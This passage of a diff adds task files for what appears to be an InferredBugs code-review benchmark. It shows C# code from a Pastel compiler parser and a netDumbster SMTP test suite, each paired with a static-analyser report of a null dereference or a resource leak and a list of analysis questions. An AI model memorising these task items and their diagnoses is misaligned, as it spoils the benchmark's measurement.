+        private static readonly HashSet<string> OPS_INEQUALITY = new HashSet<string>(new string[] { "<", ">", "<=", ">=" });
+        private Expression ParseInequality(TokenStream tokens)
+        {
+            return this.ParseOpChain(tokens, OPS_INEQUALITY, this.ParseBitShift);
+        }
+
+        private Expression ParseBitShift(TokenStream tokens)
+        {
+            Expression left = this.ParseAddition(tokens);
+            Token bitShift = tokens.PopBitShiftHackIfPresent();
+            if (bitShift != null)
+            {
+                Expression right = this.ParseAddition(tokens);
+                return new OpChain(new Expression[] { left, right }, new Token[] { bitShift });
+            }
+            return left;
+        }
+
+        private static readonly HashSet<string> OPS_ADDITION = new HashSet<string>(new string[] { "+", "-" });
+        private Expression ParseAddition(TokenStream tokens)
+        {
+            return this.ParseOpChain(tokens, OPS_ADDITION, this.ParseMultiplication);
+        }
+
+        private static readonly HashSet<string> OPS_MULTIPLICATION = new HashSet<string>(new string[] { "*", "/", "%" });
+        private Expression ParseMultiplication(TokenStream tokens)
+        {
+            return this.ParseOpChain(tokens, OPS_MULTIPLICATION, this.ParsePrefixes);
+        }
+
+        private Expression ParsePrefixes(TokenStream tokens)
+        {
+            string next = tokens.PeekValue();
+            if (next == "-" || next == "!")
+            {
+                Token op = tokens.Pop();
+                Expression root = this.ParsePrefixes(tokens);
+                return new UnaryOp(op, root);
+            }
+
+            return this.ParseIncrementOrCast(tokens);
+        }
+
+        private Expression ParseIncrementOrCast(TokenStream tokens)
+        {
+            Token prefix = null;
+            if (tokens.IsNext("++") || tokens.IsNext("--"))
+            {
+                prefix = tokens.Pop();
+            }
+
+            Expression expression;
+            int tokenIndex = tokens.SnapshotState();
+            if (prefix == null &&
+                tokens.PeekValue() == "(" &&
+                IsValidName(tokens.PeekAhead(1)))
+            {
+                Token parenthesis = tokens.Pop();
+                PType castType = PType.TryParse(tokens);
+                if (castType != null && tokens.PopIfPresent(")"))
+                {
+                    expression = this.ParseIncrementOrCast(tokens);
+                    return new CastExpression(parenthesis, castType, expression);
+                }
+                tokens.RevertState(tokenIndex);
+            }
+
+            expression = this.ParseEntity(tokens);
+
+            if (prefix != null)
+            {
+                expression = new InlineIncrement(prefix, prefix, expression, true);
+            }
+
+            if (tokens.IsNext("++") || tokens.IsNext("--"))
+            {
+                expression = new InlineIncrement(expression.FirstToken, tokens.Pop(), expression, false);
+            }
+
+            return expression;
+        }
+
+        private Expression ParseEntity(TokenStream tokens)
+        {
+            if (tokens.IsNext("new"))
+            {
+                Token newToken = tokens.Pop();
+                PType typeToConstruct = PType.Parse(tokens);
+                if (!tokens.IsNext("(")) tokens.PopExpected("("); // intentional error if not present.
+                Expression constructorReference = new ConstructorReference(newToken, typeToConstruct, this.currentCodeOwner);
+                return this.ParseEntityChain(constructorReference, tokens);
+            }
+
+            if (tokens.PopIfPresent("("))
+            {
+                Expression expression = this.ParseExpression(tokens);
+                tokens.PopExpected(")");
+                return this.ParseOutEntitySuffixes(tokens, expression);
+            }
+
+            Expression root = this.ParseEntityRoot(tokens);
+            return this.ParseOutEntitySuffixes(tokens, root);
+        }
+
+        private Expression ParseOutEntitySuffixes(TokenStream tokens, Expression root)
+        {
+            while (true)
+            {
+                switch (tokens.PeekValue())
+                {
+                    case ".":
+                    case "[":
+                    case "(":
+                        root = this.ParseEntityChain(root, tokens);
+                        break;
+                    default:
+                        return root;
+                }
+            }
+        }
+
+        private Expression ParseEntityRoot(TokenStream tokens)
+        {
+            string next = tokens.PeekValue();
+            switch (next)
+            {
+                case "true":
+                case "false":
+                    return new InlineConstant(PType.BOOL, tokens.Pop(), next == "true", this.currentCodeOwner);
+                case "null":
+                    return new InlineConstant(PType.NULL, tokens.Pop(), null, this.currentCodeOwner);
+                case ".":
+                    Token dotToken = tokens.Pop();
+                    Token numToken = EnsureInteger(tokens.Pop());
+                    string strValue = "0." + numToken.Value;
+                    double dblValue;
+                    if (!numToken.HasWhitespacePrefix && double.TryParse(strValue, out dblValue))
+                    {
+                        return new InlineConstant(PType.DOUBLE, dotToken, dblValue, this.currentCodeOwner);
+                    }
+                    throw new ParserException(dotToken, "Unexpected '.'");
+
+                default: break;
+            }
+            char firstChar = next[0];
+            switch (firstChar)
+            {
+                case '\'':
+                    return new InlineConstant(PType.CHAR, tokens.Pop(), PastelUtil.ConvertStringTokenToValue(next), this.currentCodeOwner);
+                case '"':
+                    return new InlineConstant(PType.STRING, tokens.Pop(), PastelUtil.ConvertStringTokenToValue(next), this.currentCodeOwner);
+                case '@':
+                    Token atToken = tokens.PopExpected("@");
+                    Token compileTimeFunction = EnsureTokenIsValidName(tokens.Pop(), "Expected compile time function name.");
+                    if (!tokens.IsNext("(")) tokens.PopExpected("(");
+                    return new CompileTimeFunctionReference(atToken, compileTimeFunction, this.currentCodeOwner);
+            }
+
+            if (firstChar >= '0' && firstChar <= '9')
+            {
+                Token numToken = EnsureInteger(tokens.Pop());
+                if (tokens.IsNext("."))
+                {
+                    Token dotToken = tokens.Pop();
+                    if (dotToken.HasWhitespacePrefix) throw new ParserException(dotToken, "Unexpected '.'");
+                    Token decimalToken = EnsureInteger(tokens.Pop());
+                    if (decimalToken.HasWhitespacePrefix) throw new ParserException(decimalToken, "Unexpected '" + decimalToken.Value + "'");
+                    double dblValue;
+                    if (double.TryParse(numToken.Value + "." + decimalToken.Value, out dblValue))
+                    {
+                        return new InlineConstant(PType.DOUBLE, numToken, dblValue, this.currentCodeOwner);
+                    }
+                    throw new ParserException(decimalToken, "Unexpected token.");
+                }
+                return new InlineConstant(PType.INT, numToken, int.Parse(numToken.Value), this.currentCodeOwner);
+            }
+
+            if (IsValidName(tokens.PeekValue()))
+            {
+                return new Variable(tokens.Pop(), this.currentCodeOwner);
+            }
+
+            throw new ParserException(tokens.Peek(), "Unrecognized expression.");
+        }
+
+        private Expression ParseEntityChain(Expression root, TokenStream tokens)
+        {
+            switch (tokens.PeekValue())
+            {
+                case ".":
+                    Token dotToken = tokens.Pop();
+                    Token field = PastelParser.EnsureTokenIsValidName(tokens.Pop(), "Invalid field name");
+                    return new DotField(root, dotToken, field);
+                case "[":
+                    Token openBracket = tokens.Pop();
+                    Expression index = this.ParseExpression(tokens);
+                    tokens.PopExpected("]");
+                    return new BracketIndex(root, openBracket, index);
+                case "(":
+                    Token openParen = tokens.Pop();
+                    List<Expression> args = new List<Expression>();
+                    while (!tokens.PopIfPresent(")"))
+                    {
+                        if (args.Count > 0) tokens.PopExpected(",");
+                        args.Add(this.ParseExpression(tokens));
+                    }
+                    return new FunctionInvocation(root, openParen, args).MaybeImmediatelyResolve(this);
+                default:
+                    throw new Exception();
+            }
+        }
+
+        private Token EnsureInteger(Token token)
+        {
+            string value = token.Value;
+            switch (value)
+            {
+                case "0":
+                case "1":
+                case "2":
+                    // this is like 80% of cases.
+                    return token;
+            }
+            char c;
+            for (int i = value.Length - 1; i >= 0; --i)
+            {
+                c = value[i];
+                if (c < '0' || c > '9')
+                {
+                    throw new ParserException(token, "Expected number");
+                }
+            }
+            return token;
+        }
+
+        public static Token EnsureTokenIsValidName(Token token, string errorMessage)
+        {
+            if (IsValidName(token.Value))
+            {
+                return token;
+            }
+            throw new ParserException(token, errorMessage);
+        }
+
+        public static bool IsValidName(string value)
+        {
+            char c;
+            for (int i = value.Length - 1; i >= 0; --i)
+            {
+                c = value[i];
+                if (!(
+                    (c >= 'a' && c <= 'z') ||
+                    (c >= 'A' && c <= 'Z') ||
+                    (c >= '0' && c <= '9' && i > 0) ||
+                    (c == '_')))
+                {
+                    return false;
+                }
+            }
+            return true;
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `next` last assigned on line 681 could be null and is dereferenced at line 702, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+Expression PastelParser.ParseEntityRoot(TokenStream)
+
+### File:
+Compiler/Pastel/PastelParser.cs
+
+### Key:
+PastelParser.cs|ParseEntityRoot|NULL_DEREFERENCE
+
+### Node Key:
+8f23c407fab7524e0704ad6f3b90d75b
+
+### Hash:
+a30ff320493c6446d533a0ce0d676b33
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0903/instruction.md b/inferredbugs-0903/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..ea6fd6b8005d0871a5423b84c7fe16999092b306
--- /dev/null
+++ b/inferredbugs-0903/instruction.md
@@ -0,0 +1,500 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** netDumbster
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+namespace netDumbster.Test
+{
+    using System;
+    using System.Collections.Generic;
+    using System.IO;
+    using System.Net;
+    using System.Net.Mail;
+    using System.Net.Mime;
+    using System.Text;
+    using netDumbster.smtp;
+    using netDumbster.smtp.Logging;
+    using Xunit;
+    using System.Threading.Tasks;
+    using System.Net.Sockets;
+
+    public class TestsBase : IDisposable
+    {
+        protected SimpleSmtpServer server;
+
+        private Random _Rnd = new Random();
+
+        public TestsBase()
+        {
+            LogManager.GetLogger = type => new ConsoleLogger(type);
+            this.server = this.StartServer();
+        }
+
+        protected virtual SimpleSmtpServer StartServer()
+        {
+            return SimpleSmtpServer.Start();
+        }
+
+        protected virtual SimpleSmtpServer StartServer(int port)
+        {
+            return SimpleSmtpServer.Start(port);
+        }
+
+        [Fact]
+        public void Send_10_Mails()
+        {
+            for (var i = 0; i < 10; i++)
+            {
+                this.SendMail();
+                Assert.Equal(i + 1, this.server.ReceivedEmailCount);
+            }
+
+            Assert.Equal(10, this.server.ReceivedEmailCount);
+        }
+
+        [Fact]
+        public void Send_10_Mail_With_SmtpAuth()
+        {
+            for (var i = 0; i < 10; i++)
+            {
+                this.SendMail(true);
+                Assert.Equal(i + 1, this.server.ReceivedEmailCount);
+            }
+
+            Assert.Equal(10, this.server.ReceivedEmailCount);
+        }
+
+        [Fact]
+        public void Send_Email_And_Restart_Server_Using_The_Same_Port()
+        {
+            int port = 5003;
+            SimpleSmtpServer fixedPortServer = this.StartServer(port);
+
+            this.SendMail(false, false, null, port);
+
+            Assert.Equal(1, fixedPortServer.ReceivedEmailCount);
+            Assert.Equal("this is the body", fixedPortServer.ReceivedEmail[0].MessageParts[0].BodyData);
+
+            fixedPortServer.Stop();
+
+            fixedPortServer = this.StartServer(port);
+
+            this.SendMail(false, false, null, port);
+
+            Assert.Equal(1, fixedPortServer.ReceivedEmailCount);
+            Assert.Equal("this is the body", fixedPortServer.ReceivedEmail[0].MessageParts[0].BodyData);
+
+            fixedPortServer.Stop();
+        }
+
+        // Test is run several several times since we're testing asynchronous behaviour
+        [Theory]
+        [Repeat(5)]
+        public void Send_Email_When_Server_Not_Running()
+        {
+            this.server.Stop();
+            Assert.Throws<SmtpException>(() => this.SendMail());
+        }
+
+        [Fact]
+        public void Send_Email_With_AlternateViews()
+        {
+            using (var client = new SmtpClient("localhost", this.server.Configuration.Port))
+            {
+                var mailMessage = new MailMessage("carlos@mendible.com", "karina@mendible.com", "test", "this is the body");
+                mailMessage.AlternateViews.Add(AlternateView.CreateAlternateViewFromString("FooBar", new ContentType("text/html")));
+                client.Send(mailMessage);
+            }
+
+            Assert.Equal(1, this.server.ReceivedEmailCount);
+            var smtpMessage = this.server.ReceivedEmail[0];
+
+            Assert.Equal(2, smtpMessage.MessageParts.Length);
+            Assert.True(smtpMessage.MessageParts[0].HeaderData.Contains("text/plain"));
+            Assert.Equal("this is the body", smtpMessage.MessageParts[0].BodyData);
+            Assert.True(smtpMessage.MessageParts[1].HeaderData.Contains("text/html"));
+            Assert.Equal("FooBar", smtpMessage.MessageParts[1].BodyData);
+        }
+
+        [Fact]
+        public void Send_Email_With_AlternateViews_And_Attachments()
+        {
+            using (var client = new SmtpClient("localhost", this.server.Configuration.Port))
+            {
+                var mailMessage = new MailMessage("carlos@mendible.com", "karina@mendible.com", "test", "this is the body");
+                mailMessage.AlternateViews.Add(AlternateView.CreateAlternateViewFromString("FooBar", new ContentType("text/html")));
+                mailMessage.Attachments.Add(Attachment.CreateAttachmentFromString("Attachment1", new ContentType("application/octet-stream")));
+                mailMessage.Attachments.Add(Attachment.CreateAttachmentFromString("Attachment2", new ContentType("application/octet-stream")));
+                mailMessage.Attachments.Add(Attachment.CreateAttachmentFromString("Attachment3", new ContentType("application/octet-stream")));
+                client.Send(mailMessage);
+            }
+
+            Assert.Equal(1, this.server.ReceivedEmailCount);
+            var smtpMessage = this.server.ReceivedEmail[0];
+            Assert.Equal(5, smtpMessage.MessageParts.Length);
+            Assert.True(smtpMessage.MessageParts[0].HeaderData.Contains("text/plain"));
+            Assert.Equal("this is the body", smtpMessage.MessageParts[0].BodyData);
+            Assert.True(smtpMessage.MessageParts[1].HeaderData.Contains("text/html"));
+            Assert.Equal("FooBar", smtpMessage.MessageParts[1].BodyData);
+        }
+
+        [Fact]
+        public void Send_Email_With_Attachment()
+        {
+            var data = new byte[] { 0x1 };
+
+            this.SendMail(false, true, data);
+            Assert.Equal(1, this.server.ReceivedEmailCount);
+            Assert.Equal("this is the html body", this.server.ReceivedEmail[0].MessageParts[0].BodyData);
+            Assert.NotNull(this.server.ReceivedEmail[0].MessageParts[1]);
+            Assert.NotNull(this.server.ReceivedEmail[0].MessageParts[1].BodyData);
+            Assert.NotEmpty(this.server.ReceivedEmail[0].MessageParts[1].BodyData);
+            Assert.Equal(data, UTF8Encoding.UTF8.GetBytes(this.server.ReceivedEmail[0].MessageParts[1].BodyData));
+        }
+
+        [Fact]
+        public void Send_Multiline_Email()
+        {
+            var expectedBody = $"this is the body{Environment.NewLine}line2{Environment.NewLine}line3";
+
+            using (SmtpClient client = new SmtpClient("localhost", this.server.Configuration.Port))
+            {
+                var mailMessage = new MailMessage("carlos@mendible.com", "karina@mendible.com", "test", expectedBody);
+                mailMessage.IsBodyHtml = false;
+                client.Send(mailMessage);
+            }
+
+            Assert.Equal(1, this.server.ReceivedEmailCount);
+            Assert.Equal(expectedBody, this.server.ReceivedEmail[0].MessageParts[0].BodyData);
+        }
+
+        [Fact]
+        public void Send_Email_With_Priority()
+        {
+            using (SmtpClient client = new SmtpClient("localhost", this.server.Configuration.Port))
+            {
+                var mailMessage = new MailMessage("carlos@mendible.com", "karina@mendible.com", "test", "this is the body");
+                mailMessage.IsBodyHtml = false;
+                mailMessage.Priority = MailPriority.High;
+                client.Send(mailMessage);
+            }
+
+            Assert.Equal(1, this.server.ReceivedEmailCount);
+            Assert.Equal("this is the body", this.server.ReceivedEmail[0].MessageParts[0].BodyData);
+            Assert.Equal("1", this.server.ReceivedEmail[0].XPriority);
+            Assert.Equal("urgent", this.server.ReceivedEmail[0].Priority);
+            Assert.Equal("high", this.server.ReceivedEmail[0].Importance);
+        }
+
+        [Fact]
+        public void Send_Email_With_RussianText()
+        {
+            string body = string.Empty;
+            using (SmtpClient client = new SmtpClient("localhost", this.server.Configuration.Port))
+            {
+                body = "Съешь ещё этих мягких французских булок, да выпей чаю" +
+                       "Съешь ещё этих мягких французских булок, да выпей чаю" +
+                       "Съешь ещё этих мягких французских булок, да выпей чаю" +
+                       "Съешь ещё этих мягких французских булок, да выпей чаю" +
+                       "Съешь ещё этих мягких французских булок, да выпей чаю" +
+                       "Съешь ещё этих мягких французских булок, да выпей чаю";
+                var mailMessage = new MailMessage("carlos@mendible.com", "karina@mendible.com", "test", body);
+                mailMessage.IsBodyHtml = false;
+                client.Send(mailMessage);
+            }
+
+            Assert.Equal(1, this.server.ReceivedEmailCount);
+            Assert.Equal(body, this.server.ReceivedEmail[0].MessageParts[0].BodyData);
+
+            this.server.Stop();
+        }
+
+        [Fact]
+        public void Send_Email_With_UTF8_Chars()
+        {
+            string body = string.Empty;
+            using (SmtpClient client = new SmtpClient("localhost", this.server.Configuration.Port))
+            {
+                body = "µ¶®¥§";
+                var mailMessage = new MailMessage("carlos@mendible.com", "karina@mendible.com", "test", body);
+                mailMessage.IsBodyHtml = false;
+                client.Send(mailMessage);
+            }
+
+            Assert.Equal(1, this.server.ReceivedEmailCount);
+            Assert.Equal(body, this.server.ReceivedEmail[0].MessageParts[0].BodyData);
+
+            this.server.Stop();
+        }
+
+        [Fact]
+        public void Send_Fires_Message_Received_Event()
+        {
+            int port = 50004;
+            SimpleSmtpServer fixedPortServer = this.StartServer(port);
+            fixedPortServer.MessageReceived += (sender, args) =>
+            {
+                Assert.NotNull(args.Message);
+                Assert.Equal(1, fixedPortServer.ReceivedEmailCount);
+                Assert.Equal("this is the body", args.Message.MessageParts[0].BodyData);
+            };
+
+            this.SendMail(false, false, null, port);
+
+            fixedPortServer.Stop();
+        }
+
+        [Fact]
+        public void Send_Html_Email()
+        {
+            this.SendMail(false, true, null);
+            Assert.Equal(1, this.server.ReceivedEmailCount);
+            Assert.Equal("this is the html body", this.server.ReceivedEmail[0].MessageParts[0].BodyData);
+        }
+
+        [Fact]
+        public void Send_One_Mail()
+        {
+            this.SendMail();
+            Assert.Equal(1, this.server.ReceivedEmailCount);
+            Assert.Equal("this is the body", this.server.ReceivedEmail[0].MessageParts[0].BodyData);
+        }
+
+        [Fact]
+        public void If_Client_Is_Not_Disposed_Server_Everything_Keeps_Working()
+        {
+            var port = GetRandomUnusedPort();
+            var host = "localhost";
+            using (SimpleSmtpServer emailServer = this.StartServer(port))
+            {
+                SmtpClient client = new SmtpClient(host, port);
+                client.Send("noone@nowhere.com", "nobody@nowhere.com", "This is an email", "body of email");
+            }
+
+            using (SimpleSmtpServer emailServer = this.StartServer(port))
+            {
+                using (SmtpClient client = new SmtpClient(host, port))
+                    client.Send("noone@nowhere.com", "nobody@nowhere.com", "This is an email", "body of email");
+            }
+        }
+
+        [Fact]
+        public void Send_One_Mail_Clear_Send_Another_Mail()
+        {
+            this.SendMail();
+            Assert.Equal(1, this.server.ReceivedEmailCount);
+            Assert.Equal("this is the body", this.server.ReceivedEmail[0].MessageParts[0].BodyData);
+            this.server.ClearReceivedEmail();
+            this.SendMail();
+            Assert.Equal("this is the body", this.server.ReceivedEmail[0].MessageParts[0].BodyData);
+        }
+
+        [Fact]
+        public void Send_One_Mail_With_SmtpAuth()
+        {
+            this.SendMail(true);
+            Assert.Equal(1, this.server.ReceivedEmailCount);
+        }
+
+        [Fact]
+        public void Start_Server_Random_Port()
+        {
+            SimpleSmtpServer randomPortServer = this.StartServer();
+            Assert.True(randomPortServer.Configuration.Port > 0);
+            randomPortServer.Stop();
+        }
+
+        [Fact]
+        public void Send_Attachments_Mails_SpecialChars()
+        {
+            var files = Directory.GetFiles("Content");
+            SendMail(false, files);
+            Assert.Equal(files.Length, this.server.ReceivedEmailCount);
+            var smtpMail = this.server.ReceivedEmail[0];
+            using (MailMessage mailMessage = MailMessageMimeParser.ParseMessage(new System.IO.StringReader(smtpMail.Data)))
+            {
+                foreach (var m in mailMessage.Attachments)
+                {
+                    Console.WriteLine(m.Name);
+                    Assert.True(files[0].EndsWith(m.Name));
+                }
+            }
+        }
+
+        [Fact(Timeout = 10000)]
+        public async Task Reusing_Smtp_Client_Should_Not_Fail()
+        {
+            var config = Configuration.Configure();
+            using var server = SimpleSmtpServer.Start(config.WithRandomPort().Port);
+            var mailClient = new SmtpClient
+            {
+                Host = "localhost",
+                Port = server.Configuration.Port,
+                EnableSsl = false
+            };
+
+            for (int messageNo = 0; messageNo < 2; messageNo++)
+            {
+                var mailMessage = new MailMessage("one@example.com", "two@example.com");
+
+                await mailClient.SendMailAsync(mailMessage);
+
+                Assert.Equal(messageNo + 1, server.ReceivedEmailCount);
+            }
+        }
+
+        protected void SendMail()
+        {
+            this.SendMail(false);
+        }
+
+        protected void SendMail(bool smtpAuth)
+        {
+            this.SendMail(smtpAuth, false, null);
+        }
+
+        protected void SendMail(bool smtpAuth, bool isBodyHtml, byte[] attachment)
+        {
+            this.SendMail(smtpAuth, isBodyHtml, attachment, this.server.Configuration.Port);
+        }
+
+        protected void SendMail(bool smtpAuth, bool isBodyHtml, byte[] attachment, int serverPort)
+        {
+            using (SmtpClient client = new SmtpClient("localhost", serverPort))
+            {
+                var mailMessage = new MailMessage("carlos@mendible.com", "karina@mendible.com", "test", "this is the body");
+                mailMessage.Bcc.Add(new MailAddress("bcc@mendible.com"));
+                mailMessage.CC.Add(new MailAddress("cc@mendible.com"));
+                mailMessage.IsBodyHtml = isBodyHtml;
+
+                if (isBodyHtml)
+                {
+                    mailMessage.Body = "this is the html body";
+                }
+
+                if (smtpAuth)
+                {
+                    NetworkCredential credentials = new NetworkCredential("user", "pwd");
+                    client.Credentials = credentials;
+                    client.EnableSsl = false;
+                }
+
+                if (attachment != null)
+                {
+                    mailMessage.Attachments.Add(new Attachment(new MemoryStream(attachment), "image/jpeg"));
+                }
+
+                client.Send(mailMessage);
+            }
+        }
+
+        protected void SendMail(bool smtpAuth, IEnumerable<string> attach)
+        {
+            SmtpClient client = new SmtpClient("localhost", this.server.Configuration.Port);
+            var mailMessage = new MailMessage("cfm@mendible.com", "kbm@mendible.com", "test", "test test test");
+            foreach (var fileName in attach)
+                mailMessage.Attachments.Add(new Attachment(fileName));
+
+            if (smtpAuth)
+            {
+                NetworkCredential credentials = new NetworkCredential("user", "pwd");
+                client.Credentials = credentials;
+                client.EnableSsl = false;
+            }
+            client.Send(mailMessage);
+
+            client.Dispose();
+        }
+
+        private bool disposedValue = false; // To detect redundant calls
+
+        protected virtual void Dispose(bool disposing)
+        {
+            if (!disposedValue)
+            {
+                if (disposing)
+                {
+                    this.server.Stop();
+                }
+
+                disposedValue = true;
+            }
+        }
+
+        static int GetRandomUnusedPort()
+        {
+            try
+            {
+                var listener = new TcpListener(IPAddress.Any, 0);
+                listener.Start();
+                var port = ((IPEndPoint)listener.LocalEndpoint).Port;
+                listener.Stop();
+                return port;
+            }
+            catch
+            {
+                throw;
+            }
+        }
+
+        // This code added to correctly implement the disposable pattern.
+        void IDisposable.Dispose()
+        {
+            Dispose(true);
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource mailMessage of type System.Net.Mail.MailMessage, Leaked resource (output of System.Net.Mail.Attachment::.ctor() at Line 379) of type System.Net.Mail.Attachment, Leaked resource (output of System.IO.MemoryStream::.ctor() at Line 379) of type System.IO.MemoryStream in method "Void TestsBase.SendMail(Boolean,Boolean,Byte[],Int32)".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void TestsBase.SendMail(Boolean,Boolean,Byte[],Int32)
+
+### File:
+netDumbster.Test/TestsBase.cs
+
+### Key:
+TestsBase.cs|SendMail|DOTNET_RESOURCE_LEAK
+
+### Hash:
+94818a7cebd10e9632d7fbff81e97f7a
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0904/instruction.md b/inferredbugs-0904/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..2e2b79fba588b9a4e15e1a90d969f5948b5668db
--- /dev/null
+++ b/inferredbugs-0904/instruction.md
@@ -0,0 +1,500 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** netDumbster
+**Bug ID:** 4
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+namespace netDumbster.Test
+{
+    using System;
+    using System.Collections.Generic;
+    using System.IO;
+    using System.Net;
+    using System.Net.Mail;
+    using System.Net.Mime;
+    using System.Text;
+    using netDumbster.smtp;
+    using netDumbster.smtp.Logging;
+    using Xunit;
+    using System.Threading.Tasks;
+    using System.Net.Sockets;
+
+    public class TestsBase : IDisposable
+    {
+        protected SimpleSmtpServer server;
+
+        private Random _Rnd = new Random();
+
+        public TestsBase()
+        {
+            LogManager.GetLogger = type => new ConsoleLogger(type);
+            this.server = this.StartServer();
+        }
+
+        protected virtual SimpleSmtpServer StartServer()
+        {
+            return SimpleSmtpServer.Start();
+        }
+
+        protected virtual SimpleSmtpServer StartServer(int port)
+        {
+            return SimpleSmtpServer.Start(port);
+        }
+
+        [Fact]
+        public void Send_10_Mails()
+        {
+            for (var i = 0; i < 10; i++)
+            {
+                this.SendMail();
+                Assert.Equal(i + 1, this.server.ReceivedEmailCount);
+            }
+
+            Assert.Equal(10, this.server.ReceivedEmailCount);
+        }
+
+        [Fact]
+        public void Send_10_Mail_With_SmtpAuth()
+        {
+            for (var i = 0; i < 10; i++)
+            {
+                this.SendMail(true);
+                Assert.Equal(i + 1, this.server.ReceivedEmailCount);
+            }
+
+            Assert.Equal(10, this.server.ReceivedEmailCount);
+        }
+
+        [Fact]
+        public void Send_Email_And_Restart_Server_Using_The_Same_Port()
+        {
+            int port = 5003;
+            SimpleSmtpServer fixedPortServer = this.StartServer(port);
+
+            this.SendMail(false, false, null, port);
+
+            Assert.Equal(1, fixedPortServer.ReceivedEmailCount);
+            Assert.Equal("this is the body", fixedPortServer.ReceivedEmail[0].MessageParts[0].BodyData);
+
+            fixedPortServer.Stop();
+
+            fixedPortServer = this.StartServer(port);
+
+            this.SendMail(false, false, null, port);
+
+            Assert.Equal(1, fixedPortServer.ReceivedEmailCount);
+            Assert.Equal("this is the body", fixedPortServer.ReceivedEmail[0].MessageParts[0].BodyData);
+
+            fixedPortServer.Stop();
+        }
+
+        // Test is run several several times since we're testing asynchronous behaviour
+        [Theory]
+        [Repeat(5)]
+        public void Send_Email_When_Server_Not_Running()
+        {
+            this.server.Stop();
+            Assert.Throws<SmtpException>(() => this.SendMail());
+        }
+
+        [Fact]
+        public void Send_Email_With_AlternateViews()
+        {
+            using (var client = new SmtpClient("localhost", this.server.Configuration.Port))
+            {
+                var mailMessage = new MailMessage("carlos@mendible.com", "karina@mendible.com", "test", "this is the body");
+                mailMessage.AlternateViews.Add(AlternateView.CreateAlternateViewFromString("FooBar", new ContentType("text/html")));
+                client.Send(mailMessage);
+            }
+
+            Assert.Equal(1, this.server.ReceivedEmailCount);
+            var smtpMessage = this.server.ReceivedEmail[0];
+
+            Assert.Equal(2, smtpMessage.MessageParts.Length);
+            Assert.True(smtpMessage.MessageParts[0].HeaderData.Contains("text/plain"));
+            Assert.Equal("this is the body", smtpMessage.MessageParts[0].BodyData);
+            Assert.True(smtpMessage.MessageParts[1].HeaderData.Contains("text/html"));
+            Assert.Equal("FooBar", smtpMessage.MessageParts[1].BodyData);
+        }
+
+        [Fact]
+        public void Send_Email_With_AlternateViews_And_Attachments()
+        {
+            using (var client = new SmtpClient("localhost", this.server.Configuration.Port))
+            {
+                var mailMessage = new MailMessage("carlos@mendible.com", "karina@mendible.com", "test", "this is the body");
+                mailMessage.AlternateViews.Add(AlternateView.CreateAlternateViewFromString("FooBar", new ContentType("text/html")));
+                mailMessage.Attachments.Add(Attachment.CreateAttachmentFromString("Attachment1", new ContentType("application/octet-stream")));
+                mailMessage.Attachments.Add(Attachment.CreateAttachmentFromString("Attachment2", new ContentType("application/octet-stream")));
+                mailMessage.Attachments.Add(Attachment.CreateAttachmentFromString("Attachment3", new ContentType("application/octet-stream")));
+                client.Send(mailMessage);
+            }
+
+            Assert.Equal(1, this.server.ReceivedEmailCount);
+            var smtpMessage = this.server.ReceivedEmail[0];
+            Assert.Equal(5, smtpMessage.MessageParts.Length);
+            Assert.True(smtpMessage.MessageParts[0].HeaderData.Contains("text/plain"));
+            Assert.Equal("this is the body", smtpMessage.MessageParts[0].BodyData);
+            Assert.True(smtpMessage.MessageParts[1].HeaderData.Contains("text/html"));
+            Assert.Equal("FooBar", smtpMessage.MessageParts[1].BodyData);
+        }
+
+        [Fact]
+        public void Send_Email_With_Attachment()
+        {
+            var data = new byte[] { 0x1 };
+
+            this.SendMail(false, true, data);
+            Assert.Equal(1, this.server.ReceivedEmailCount);
+            Assert.Equal("this is the html body", this.server.ReceivedEmail[0].MessageParts[0].BodyData);
+            Assert.NotNull(this.server.ReceivedEmail[0].MessageParts[1]);
+            Assert.NotNull(this.server.ReceivedEmail[0].MessageParts[1].BodyData);
+            Assert.NotEmpty(this.server.ReceivedEmail[0].MessageParts[1].BodyData);
+            Assert.Equal(data, UTF8Encoding.UTF8.GetBytes(this.server.ReceivedEmail[0].MessageParts[1].BodyData));
+        }
+
+        [Fact]
+        public void Send_Multiline_Email()
+        {
+            var expectedBody = $"this is the body{Environment.NewLine}line2{Environment.NewLine}line3";
+
+            using (SmtpClient client = new SmtpClient("localhost", this.server.Configuration.Port))
+            {
+                var mailMessage = new MailMessage("carlos@mendible.com", "karina@mendible.com", "test", expectedBody);
+                mailMessage.IsBodyHtml = false;
+                client.Send(mailMessage);
+            }
+
+            Assert.Equal(1, this.server.ReceivedEmailCount);
